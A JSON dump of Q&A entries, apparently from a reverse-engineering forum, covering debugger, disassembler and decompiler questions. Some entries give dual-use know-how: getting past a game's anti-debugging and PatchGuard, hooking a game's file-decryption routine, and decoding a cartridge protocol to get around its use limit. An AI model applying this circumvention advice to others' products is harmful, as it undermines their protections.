        "Answer": "<p>You don't need external tools. Mitmproxy since version 9 has <a href=\"https://mitmproxy.org/posts/wireguard-mode/\" rel=\"nofollow noreferrer\">built-in WireGuard support</a> which allows you to use the official <a href=\"https://play.google.com/store/apps/details?id=com.wireguard.android\" rel=\"nofollow noreferrer\">Wireguard VPN app</a> on Android side to forward all traffic to Mitmproxy running on your PC.</p>\n<p>You just have to start mitmproxy with in Wireguard mode:</p>\n<pre><code>mitmweb --mode wireguard\n</code></pre>\n<p>It will then display the connection info in text and as QR for easy set-up of the WireGurd connection profile.</p>\n<p>In rare cases where the computer running Mitmproxy doesn't know the correct IP address that should be used for the VPN server you may have to manually correct the WireGuard server IP in the installed VPN profile.</p>\n"
    },
    {
        "Id": "32715",
        "CreationDate": "2024-02-08T18:03:16.507",
        "Body": "<p>I'm currently researching how a certain malware works and patches some stuff in a certain Android's library.</p>\n<p>Inspecting the library -which is stripped- in IDA I was able to get the symbol for a certain function in it, but I can't get it through any other means (like <code>objdump -T -t</code>, <code>nm</code>, <code>readelf</code>, and executing <code>strings</code> on the binary doesn't throw that string). I'm quite familiar with the ELF format, and so I made a simple ELF parser just to try something else, but obviously it wasn't able to find the symbol either.</p>\n<p>So now I just want to understand how IDA can get this symbol when it appears isn't contained in the binary. The only thing I can think of is that maybe IDA sees through other symbols the class this method belongs to and also the types of the arguments it receives, and thus can guess the symbol.</p>\n",
        "Title": "Where is IDA getting this symbol?",
        "Tags": "|ida|c++|elf|symbols|",
        "Answer": "<p>(reposting as an answer)</p>\n<p>IDA uses FLIRT signatures to try and identify known library functions.</p>\n<p>Functions found in this way would normally be marked as <em>library function</em>s and will be displayed in IDA disassembly with a different color.</p>\n"
    },
    {
        "Id": "32741",
        "CreationDate": "2024-02-17T09:23:00.157",
        "Body": "<p>I want to see MSVCRT's implementation details for the old Microsoft Visual Studio C++ 6.0 compiler. On newer Visual Studio versions, it is located in <code>/VC/crt/src/</code> directory, but there is no such directory for MSVC 6.0. Where can I find it?</p>\n",
        "Title": "Where to find the Visual C++ 6.0 CRT Source Code?",
        "Tags": "|c++|msvc|",
        "Answer": "<p><strong>UPD.:</strong> I found it. It is indeed in Visual Studio Professional installation CD drive.\n<a href=\"https://i.stack.imgur.com/XGRJ7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XGRJ7.png\" alt=\"source\" /></a></p>\n"
    },
    {
        "Id": "32750",
        "CreationDate": "2024-02-21T04:29:43.390",
        "Body": "<p>I'm trying to debug a game and it's closing under few circumstances:</p>\n<ul>\n<li>When debugging (solved by hooking IsDebuggerPresent to return false when called by the game)</li>\n<li>When setting a memory/hardware breakpoint to see what reads/writes</li>\n</ul>\n<p>Testing with x64dbg and cheat engine, I'm getting the same results with both tools</p>\n<p>I can debug some functions and put breakpoints in opcodes to see the program workflow (for example IsDebuggerPresent, I can set a breakpoint there and step in) but I'm not sure if I can do it everywhere</p>\n<p>The final goal is learning to identify functions by checking what reads/writes on values</p>\n<p>Here are all breakpoints I've checked without results, the game closes directly:</p>\n<p><a href=\"https://i.stack.imgur.com/aIyBM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aIyBM.png\" alt=\"enter image description here\" /></a></p>\n<p>Should I trace who is closing the game to disable it? Or should I debug it differently?\nIf I have to trace, how can I do that if it doesn't hit the breakpoints when closing?</p>\n",
        "Title": "How can I debug if the program closes directly?",
        "Tags": "|debugging|c++|x64dbg|cheat-engine|",
        "Answer": "<p>After testing several methods, the easiest ended up being TitanHide.</p>\n<p>With TitanHide, setting only ThreadHideFromDebugger:</p>\n<p><a href=\"https://i.stack.imgur.com/VrwIg.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VrwIg.png\" alt=\"enter image description here\" /></a></p>\n<p>And enabling my hook for isDebuggerPresent to return false always, I can breakpoint and debug the game normally.</p>\n<p>For PatchGuard I've used <a href=\"https://github.com/Mattiwatti/EfiGuard\" rel=\"nofollow noreferrer\">EfiGuard</a>.</p>\n"
    },
    {
        "Id": "32765",
        "CreationDate": "2024-02-25T13:34:22.333",
        "Body": "<p>Is there any way to break on specific opcode in X64DBG?\nFor example i want to break on start of a function which is</p>\n<p>55   | push ebp</p>\n<p>8BEC | mov ebp,esp</p>\n<p>can i set a breakpoint like opcode == 0x00EC8B55?\nAlso is there any way to break only on certain memory range?</p>\n",
        "Title": "X64DBG Conditional Breakpoint on Specific Opcode?",
        "Tags": "|assembly|malware|x64dbg|unpacking|",
        "Answer": "<p>The debugger/CPU doesn't have a feature to break when it notices a particular opcode byte sequence. Ahead of time, you can scan the memory range you're interested in, then set a software breakpoint on all those particular spots. You can use the 'findall' or 'findasm' scripting command to add a breakpoint, or take some other action for each of those addresses.\nThere's also a tracing feature that single-steps through the execution. It'll be slower since you're breaking constantly. You can log and filter on that trace.</p>\n"
    },
    {
        "Id": "32772",
        "CreationDate": "2024-02-28T08:55:53.460",
        "Body": "<p>I'm hooking a function that reads and decrypt files and my idea is to read the buffer once it's decrypted:</p>\n<pre><code>typedef void(__thiscall* _readFileContents)(DWORD* _resourceManager, std::string* buffer, std::string&amp; fileName, bool safe);\n_readFileContents original_readFileContents;\nDWORD gateway_readFileContents;\n\nvoid __fastcall readFileContents_hook(DWORD* _resourceManager, void* /*ecx*/, std::string* buffer, std::string&amp; fileName, bool safe) {\n    std::cout &lt;&lt; &quot;[&quot; &lt;&lt; safe &lt;&lt; &quot;] readFileContents_hook: &quot; &lt;&lt; fileName &lt;&lt; std::endl;\n    \n    ((_readFileContents)gateway_readFileContents)(_resourceManager, buffer, fileName, safe);\n\n    std::string combinedContent;\n    for (size_t i = 0; i &lt; buffer-&gt;size(); ++i) {\n        combinedContent.push_back(buffer-&gt;at(i));\n    }\n\n    return ((_readFileContents)gateway_readFileContents)(_resourceManager, buffer, fileName, safe); // same results with return; only\n}\n\noriginal_readFileContents = (_readFileContents)(moduleBase + 0x12345);\ngateway_readFileContents = (DWORD)TrampHook32((char*)original_readFileContents, (char*)readFileContents_hook, 6);\n</code></pre>\n<p>The problem, is that whenever I touch the <strong>buffer</strong> variable, I get a wonderful crash :)</p>\n<p>But, I've found an exception! I can get the size() without issues:</p>\n<pre><code>std::cout &lt;&lt; &quot;Buffer size with size(): &quot; &lt;&lt; buffer-&gt;size() &lt;&lt; std::endl;\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/9X2jf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9X2jf.png\" alt=\"enter image description here\" /></a></p>\n<p>So, how can I read the data without crashing?</p>\n<p>PS: This is the original code (it's open source and I'm using it for learning purposes):</p>\n<pre><code>std::string ResourceManager::readFileContents(const std::string&amp; fileName, bool safe)\n{\n    std::string fullPath = resolvePath(fileName);\n    \n    if (fullPath.find(&quot;/downloads&quot;) != std::string::npos) {\n        auto dfile = g_http.getFile(fullPath.substr(10));\n        if (dfile)\n            return std::string(dfile-&gt;response.begin(), dfile-&gt;response.end());\n    }\n\n    PHYSFS_File* file = PHYSFS_openRead(fullPath.c_str());\n    if(!file)\n        stdext::throw_exception(stdext::format(&quot;unable to open file '%s': %s&quot;, fullPath, PHYSFS_getErrorByCode(PHYSFS_getLastErrorCode())));\n\n    int fileSize = PHYSFS_fileLength(file);\n    std::string buffer(fileSize, 0);\n    PHYSFS_readBytes(file, (void*)&amp;buffer[0], fileSize);\n    PHYSFS_close(file);\n\n    if (safe) {\n        return buffer;\n    }\n\n    // skip decryption for bot configs\n    if (fullPath.find(&quot;/bot/&quot;) != std::string::npos) {\n        return buffer;\n    }\n\n    static std::string unencryptedExtensions[] = { &quot;.otml&quot;, &quot;.otmm&quot;, &quot;.dmp&quot;, &quot;.log&quot;, &quot;.txt&quot;, &quot;.dll&quot;, &quot;.exe&quot;, &quot;.zip&quot; };\n\n    if (!decryptBuffer(buffer)) {\n        bool ignore = (m_customEncryption == 0);\n        for (auto&amp; it : unencryptedExtensions) {\n            if (fileName.find(it) == fileName.size() - it.size()) {\n                ignore = true;\n            }\n        }\n        if(!ignore)\n            g_logger.fatal(stdext::format(&quot;unable to decrypt file: %s&quot;, fullPath));\n    }\n\n    return buffer;\n}\n</code></pre>\n",
        "Title": "Hook: can call string::size() but crashing when reading string data... how to read without crash?",
        "Tags": "|c++|function-hooking|strings|",
        "Answer": "<p><strong>Solved by changing the signature:</strong></p>\n<pre><code>typedef std::string*(__thiscall* _readFileContents)(DWORD* _resourceManager, std::string* buffer, std::string&amp; fileName, bool safe);\n</code></pre>\n"
    },
    {
        "Id": "32792",
        "CreationDate": "2024-03-07T06:36:55.520",
        "Body": "<p>I\u2019m writing a C-SKY (CK803S) processor module for IDA Pro, and a question arose about offsets in transitions, small ones are fine, but long ones lead to nowhere, from the documentation:\n<a href=\"https://i.stack.imgur.com/CYqWE.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CYqWE.jpg\" alt=\"enter image description here\" /></a></p>\n<p>in code I implemented it like this:<code>insn.Op1.addr = insn.ea + (((code32 &amp; 0x3FFFFFF) &lt;&lt; 1) &amp; 0x3FFFFFF);</code></p>\n<p><a href=\"https://i.stack.imgur.com/slbDk.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/slbDk.jpg\" alt=\"enter image description here\" /></a></p>\n<p>but I don\u2019t understand what sign_extend does ?</p>\n",
        "Title": "Offset addressing",
        "Tags": "|ida|disassembly|assembly|debugging|binary-analysis|",
        "Answer": "<p>Signextend is expanding an integer of some size into a larger size and filling the extra bits with the original sign bit. In other words - keeping the larger int positive/negative.</p>\n<p>Example:</p>\n<p>An original 8-bit number <code>0x7F</code> (Binary <code>01111111</code>) signextended to 32 bit becomes <code>0x0000007F</code>.</p>\n<p>An original 8-bit number <code>0x80</code> (Binary <code>10000000</code>) signextended to 32 bit becomes <code>0xFFFFFF80</code></p>\n<p>It makes sense using this operation in offsets as a relative offset can be negative.</p>\n"
    },
    {
        "Id": "32803",
        "CreationDate": "2024-03-13T02:31:18.690",
        "Body": "<p>I Have an ultrasonic machine that has a cartridge with a set amount of uses. When that value gets to 0, the cartridge has to be disposed, and a new one bought. The thing is that with some maintenance before the cartridge runs out of uses, it's possible to prevent it from being damaged, and it's life can be extended (I don't know how true this is, I was just asked to believe).</p>\n<p>So far, I was able to find that the cartridge uses an STC uC (<a href=\"https://github.com/grigorig/stcgal/issues/7\" rel=\"nofollow noreferrer\">100% impossible to read back</a>), and that it's using UART at 19200bps. That's all I know, and I certainly can read the communication with the machine and the cartridge, so I think all the other things are OK. I was even able to replicate the cartridge with my computer, by re-sending recorded messages using docklight.</p>\n<p>The thing now is that I can't figure out what is what on the communication. Here is a selected and filtered communication between both devices:</p>\n<pre><code>CART - FB 05 01 03 86 00 8E BF // 20100 uses left\nMACH + FB 03 85 95 A8 BF // subtract 1 use\nCART - FB 05 01 03 85 95 53 BF // 20099 uses left\nMACH + FB 03 85 94 AF BF // subtract 1 use\nCART - FB 05 01 03 85 94 54 BF // 20098 uses left\nMACH + FB 03 85 93 BA BF // subtract 1 use\nCART - FB 05 01 03 85 93 41 BF // 20097 uses left\nMACH + FB 03 85 92 BD BF // subtract 1 use\nCART - FB 05 01 03 85 92 46 BF // 20096 uses left\nMACH + FB 03 85 91 B4 BF // subtract 1 use\nCART - FB 05 01 03 85 91 4F BF // 20095 uses left\nMACH + FB 03 85 90 B3 BF // subtract 1 use\nCART - FB 05 01 03 85 90 48 BF // 20094 uses left\nMACH + FB 03 85 8F EE BF // subtract 1 use\nCART - FB 05 01 03 85 8F 15 BF // 20093 uses left\nMACH + FB 03 85 8E E9 BF // subtract 1 use\nCART - FB 05 01 03 85 8E 12 BF // 20092 uses left\nMACH + FB 03 85 8D E0 BF // subtract 1 use\nCART - FB 05 01 03 85 8D 1B BF // 20091 uses left\nMACH + FB 03 85 8C E7 BF // subtract 1 use\nCART - FB 05 01 03 85 8C 1C BF // 20090 uses left\nMACH + FB 03 85 8B F2 BF // subtract 1 use\nCART - FB 05 01 03 85 8B 09 BF // 20089 uses left\nMACH + FB 03 85 8A F5 BF // subtract 1 use\nCART - FB 05 01 03 85 8A 0E BF // 20088 uses left\nMACH + FB 03 85 89 FC BF // subtract 1 use\nCART - FB 05 01 03 85 89 07 BF // 20087 uses left\nMACH + FB 03 85 88 FB BF // subtract 1 use\nCART - FB 05 01 03 85 88 00 BF // 20086 uses left\nMACH + FB 03 85 87 D6 BF // subtract 1 use\nCART - FB 05 01 03 85 87 2D BF // 20085 uses left\nMACH + FB 03 85 86 D1 BF // subtract 1 use\nCART - FB 05 01 03 85 86 2A BF // 20084 uses left\nMACH + FB 03 85 85 D8 BF // subtract 1 use\nCART - FB 05 01 03 85 85 23 BF // 20083 uses left\nMACH + FB 03 85 84 DF BF // subtract 1 use\nCART - FB 05 01 03 85 84 24 BF // 20082 uses left\nMACH + FB 03 85 83 CA BF // subtract 1 use\nCART - FB 05 01 03 85 83 31 BF // 20081 uses left\nMACH + FB 03 85 82 CD BF // subtract 1 use\nCART - FB 05 01 03 85 82 36 BF // 20080 uses left\n</code></pre>\n<p>Some things to note:</p>\n<ul>\n<li>after the cartridge (CART) sends its byte stream (which I call &quot;Identification&quot; string), it stays on &quot;idle&quot;, sending 00s every 750ms, waiting for the machine to talk to it.</li>\n<li>the ID string is only sent once, and only when the cartridge gets power, never again until power goes out. for the tests, I always turned the machine on, did one trigger (subtract one use) and turned it off.</li>\n<li>the machine reads the remaining uses of the cartridge by the ID string. It never verifies if the chip wrote the data to its internal eeprom or wherever it has to be written.</li>\n<li>there are some prior init messages that have nothing to do with what I want to do</li>\n<li>after the machine (MACH) sends its &quot;Subtract&quot; command, the cartridge responds with sort of an acknowledge, before the machine sends again the same command, and the cartridge responds again, before going into &quot;idle&quot; mode</li>\n</ul>\n<p>So far, I think this is how things go:</p>\n<p>for everything: <code>FB</code> opens the communication and <code>BF</code> closes it.</p>\n<p>for the Identificacion string:</p>\n<ul>\n<li><code>05 01 03</code> is probably some kind of identification string (I'm still in doubt about the <code>03</code>), the machine is supposed to support different types of cartridges.</li>\n<li>the next two bytes are probably the uses number, but I cant figure out how to obtain an actual decimal number that is equal to the one I know (I can see it on the machine panel).</li>\n<li>I believe that the next bit is some kind of checksum, but I don't know which one.</li>\n</ul>\n<p>for the Subtract command:</p>\n<ul>\n<li><code>03</code>, I don't really know. It can be part of the number of uses, but I'm not sure. I can't get the cartridge to go to 0.</li>\n<li>the next two bytes are, again, the number of uses left, or part of it.</li>\n<li>the next byte, again, could be a checksum, but don't know what.</li>\n</ul>\n<p>That's where I'm currently sitting. I would like to know if there is some kind of program or website that could help me figure out if the supposedly &quot;checksum&quot; byte, is actually a checksum or not, and also figure out what operation is done to the number to convert it to those two or three bytes before the checksum</p>\n",
        "Title": "Reverse Engineer an ultrasonic cartridge communication with the station to bypass remaining uses",
        "Tags": "|serial-communication|protocol|checksum|",
        "Answer": "<p>Some general steps that might help you in your process are:</p>\n<ol>\n<li>Taking the unit apart and looking up the datasheet for each IC from the ports to the CPU.</li>\n<li>If the above doesn't work, try googling the unit to see if the protocol is documented somewhere or if someone has already reverse engineered it.</li>\n<li>Attach a debugger to the process or use a scope that has decode options built into it, like the SDS1202X, to capture the serial data.</li>\n<li>Play around with the baud rates until legitimate data packets are sent.</li>\n<li>Use a program that virtualizes a COM port and displays the exchanged data to decode the functions.</li>\n<li>Write a program to automate control.</li>\n</ol>\n<p>Moreover, here are some websites you might find useful:</p>\n<ul>\n<li>Hackaday: a story about reverse engineering a wirelessly controlled adjustable bed. It involves a lot of technical details on how the process was carried out.</li>\n<li>Hackster.io: a story about bypassing the razor-and-blades business model of the Cat Genie automated litter box by reverse engineering its soap cartridge.</li>\n</ul>\n<p>Additionally, some tools you might find helpful are:</p>\n<ul>\n<li>ChipWhisperer: a breakthrough in hobbyist use of power analysis and glitching attacks on embedded hardware. It has IDC and SMA sockets for connecting custom breakouts housing a chip you're probing.</li>\n<li>HackRF: a tool used for controlling a toy RC car by reverse engineering its wireless control protocol.</li>\n<li>RTL-SDR: a tool used for reverse engineering wirelessly controlled adjustable beds and garage door openers.</li>\n</ul>\n"
    },
    {
        "Id": "32812",
        "CreationDate": "2024-03-17T13:13:51.163",
        "Body": "<p>I have run the following commands at a breakpoint in gdb and I don't understand how the x/d $rdx commands returns two different values, one before and one after x/s $rdx is executed. To my understanding x is just for reading values?</p>\n<pre><code>(gdb) x/d $rdx\n0x555555559180: -6681\n(gdb) x/s $rdx\n0x555555559180: &quot;\\347\\345\\377\\377\\221\\345\\377\\377\\261\\345\\377\\377\\270\\345\\377\\377\\277\\345\\377\\377\\306\\345\\377\\377\\315\\345\\377\\377\\324\\345\\377\\377\\002&quot;\n(gdb) x/d $rdx\n0x555555559180: -25\n</code></pre>\n<p>I guess it's more likely I'm misunderstanding something in terms of the x command and how it works so any info on that would be really helpful.</p>\n",
        "Title": "Why does the value stored in a register change after an x/s call? (GDB)",
        "Tags": "|gdb|",
        "Answer": "<p><code>x/d</code> reads the value starting at some address and display it as decimal.</p>\n<p>If you don't specify a size, <code>x</code> will use the default or the last size used.</p>\n<p>Your first <code>x/d</code> reads the default size - a word (typically 4-bytes).</p>\n<p>Then <code>x/s</code> reads a string, that is <em>1</em> string.</p>\n<p>The last <code>x/d</code> then reads one byte, as <em>1</em> was the last size used.</p>\n<p>To avoid this, specify a size for the command:</p>\n<p>For example:\n<code>x/wd</code> will read a word-sized value as decimal and <code>x/bx</code> will read one byte value as hex.</p>\n<p>Numeric notation is also accepted:</p>\n<p><code>x/8bx</code> will read 8 bytes as hex.</p>\n"
    },
    {
        "Id": "32837",
        "CreationDate": "2024-03-25T19:48:46.193",
        "Body": "<p><a href=\"https://i.stack.imgur.com/ZeAXk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZeAXk.png\" alt=\"enter image description here\" /></a></p>\n<p>On lines 67, 70 and 77 ghidra makes a call to what I assume is a member function, but it does not show me which member function. Why is that?</p>\n<p>Example from line 70:</p>\n<p>(**(code **)(*(longlong *)metaStream + 0xd8))(metaStream)</p>\n<p>Call in assembly:</p>\n<p>qword ptr [RAX + 0xd8]</p>\n<p>How can I make ghidra show me which function is being called?</p>\n",
        "Title": "Ghidra not displaying member function call",
        "Tags": "|ghidra|pe|",
        "Answer": "<p>The problem is that Ghidra for whatever reason cannot determine what the actual target of this call is. This might just be a limitation of the C++ support in Ghidra. There are plugins that try to support this better:</p>\n<ul>\n<li><a href=\"https://github.com/astrelsky/Ghidra-Cpp-Class-Analyzer\" rel=\"nofollow noreferrer\">https://github.com/astrelsky/Ghidra-Cpp-Class-Analyzer</a></li>\n<li><a href=\"https://insights.sei.cmu.edu/blog/using-ooanalyzer-to-reverse-engineer-object-oriented-code-with-ghidra/\" rel=\"nofollow noreferrer\">https://insights.sei.cmu.edu/blog/using-ooanalyzer-to-reverse-engineer-object-oriented-code-with-ghidra/</a></li>\n</ul>\n<p>but you can also do this manually if you already know the target function via manual reverse engineering:</p>\n<pre class=\"lang-py prettyprint-override\"><code>ref = program.referenceManager.addMemoryReference(\n                    callsite, # FROM, the address of the call instruction\n                    func_address, //TO, the address of the function being called\n                    RefType.UNCONDITIONAL_CALL,\n                    SourceType.USER_DEFINED,\n                    0)\nprogram.referenceManager.setPrimary(ref, true)\n</code></pre>\n"
    },
    {
        "Id": "32845",
        "CreationDate": "2024-03-28T19:32:04.797",
        "Body": "<p>Does anybody know this kind of connector? It is used as a diagnostic connector on diesel engines. Inner diameter 15mm, outer 19mm.</p>\n<p><a href=\"https://i.stack.imgur.com/SLTqc.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SLTqc.jpg\" alt=\"Female socket\" /></a></p>\n",
        "Title": "What's this connector type?",
        "Tags": "|hardware|",
        "Answer": "<p>This is an industrial type <code>ITT Cannon KPT01E12-10S</code>, like this one:</p>\n<p><a href=\"https://www.westfloridacomponents.com/C069APP10/KPT01E12-10S+10+Pos.+Circular+Connector+Receptacle+ITT+Cannon.html\" rel=\"nofollow noreferrer\">https://www.westfloridacomponents.com/C069APP10/KPT01E12-10S+10+Pos.+Circular+Connector+Receptacle+ITT+Cannon.html</a></p>\n<p>This connector is used for CAN bus communication, which can be used for diagnostics, among other applications.</p>\n"
    },
    {
        "Id": "32852",
        "CreationDate": "2024-03-30T03:43:20.430",
        "Body": "<p>I've been attempting to dive into mediaserverd which runs on iOS.  Pulling the binary and running <code>otool -L</code> on it reveals, unsurprisingly, that it's linked against <code>/System/Library/Frameworks/CoreMedia.framework/CoreMedia</code>.  However, that directory on the phone doesn't have any file called <code>CoreMedia</code>.  In fact, all it has are two <code>.plist</code> files and some text file called <code>CodeResources</code>.</p>\n<p>Where is the actual Mach-O file for the CoreMedia framework?</p>\n",
        "Title": "Location of CoreMedia framework",
        "Tags": "|ios|"
    },
    {
        "Id": "32853",
        "CreationDate": "2024-03-30T16:50:16.293",
        "Body": "<p>I would like to alter the behavior of some executable (in my case, a videogame). One way of doing this is to hook function calls (e.g., a function like <code>Player::ReceiveDamage</code>) and adjust parameters/return values.</p>\n<p>I know how to inject code and how to hook functions. <strong>The challenge currently is to <em>find</em> the address of the function of interest</strong>. The source code of the target is not available, neither are debug symbols.</p>\n<p>An approach I successfully used before is the following:</p>\n<ol>\n<li>Find all function addresses in the target executable (e.g., with IDA, radare2, Pyew, ...)</li>\n<li>With the executable running, hook all functions</li>\n<li>Black-list (and un-hook) functions that are called during moments that are not of interest</li>\n<li>White-list functions that are called during moments of interest</li>\n<li>Repeat steps (4,5) until function list is narrowed down sufficiently</li>\n</ol>\n<p>Unfortunately, I have misplaced the code I was using for this process. I can re-write it, but I noticed that there is already an <a href=\"https://www.capstone-engine.org/showcase.html\" rel=\"nofollow noreferrer\">enormous offering of tools and libraries</a> that may do exactly what I need.</p>\n<p>Performance is a challenge: logging all function calls in a videogame introduces significant overhead. I noticed previously that it would take some time for my old tool to black-list enough irrelevant functions for the target to become responsive. This likely makes <a href=\"https://frida.re/\" rel=\"nofollow noreferrer\">Frida</a> not a good choice, as it injects javascript.</p>\n<p><strong>Does anyone know of a <em>performant</em> tool/library, supporting Windows and x64, that I can use to find functions of interest in a target executable?</strong></p>\n",
        "Title": "Tracing all functions in executable conditionally, to find function of interest",
        "Tags": "|pe|tools|dynamic-analysis|functions|tracing|",
        "Answer": "<p>You can use any binary dynamic instrumentation framework (like Intel pin, Frida, etc.)</p>\n<p><a href=\"https://github.com/SideChannelMarvels/Tracer/blob/master/TracerPIN/README.md\" rel=\"nofollow noreferrer\">https://github.com/SideChannelMarvels/Tracer/blob/master/TracerPIN/README.md</a></p>\n<p><a href=\"https://frida.re/docs/frida-trace/\" rel=\"nofollow noreferrer\">https://frida.re/docs/frida-trace/</a></p>\n"
    }
]